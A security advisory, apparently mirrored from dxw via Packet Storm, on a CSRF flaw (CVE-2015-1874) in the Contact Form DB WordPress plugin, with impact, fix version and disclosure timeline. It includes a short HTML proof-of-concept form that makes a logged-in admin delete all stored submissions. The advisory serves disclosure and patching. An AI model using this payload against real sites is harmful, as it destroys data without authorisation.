WordPress Contact Form DB 2.8.29 Cross Site Request Forgery

Type packetstorm
Reporter Tom Adams
Modified 2015-03-04T00:00:00


Software: Contact Form DB  
Version: 2.8.29  
Homepage: https://wordpress.org/plugins/contact-form-7-to-database-extension/  
Advisory report: https://security.dxw.com/advisories/csrf-in-contact-form-db-allows-attacker-to-delete-all-stored-form-submissions/  
CVE: CVE-2015-1874  
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)  
CSRF in Contact Form DB allows attacker to delete all stored form submissions  
An attacker able to convince a logged in admin user to follow a link (for instance via spearphishing) will be able to cause all records stored by this plugin to be removed.  
Proof of concept  
If a logged-in administrator user clicks the submit button on this form, all records stored by the plugin will be deleted (in a real attack the form can be made to auto-submit using Javascript).  
<form action=\"http://localhost/wp-admin/admin.php?page=CF7DBPluginSubmissions\" method=\"post\">  
<input name=\"all\" type=\"text\" value=\"y\">  
<input name=\"delete\" type=\"text\" value=\"y\">  
<input type=\"submit\">  
Upgrade to version 2.8.32 or later  
Disclosure policy  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/  
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
2015-02-05: Discovered  
2015-02-17: Reported to vendor by email  
2015-02-22: Vendor responded and agreed a schedule for fix  
2015-02-23: Vendor published a fix in version 2.8.32  
2015-03-04: Advisory published  
Discovered by dxw:  
Tom Adams  
Please visit security.dxw.com for more information.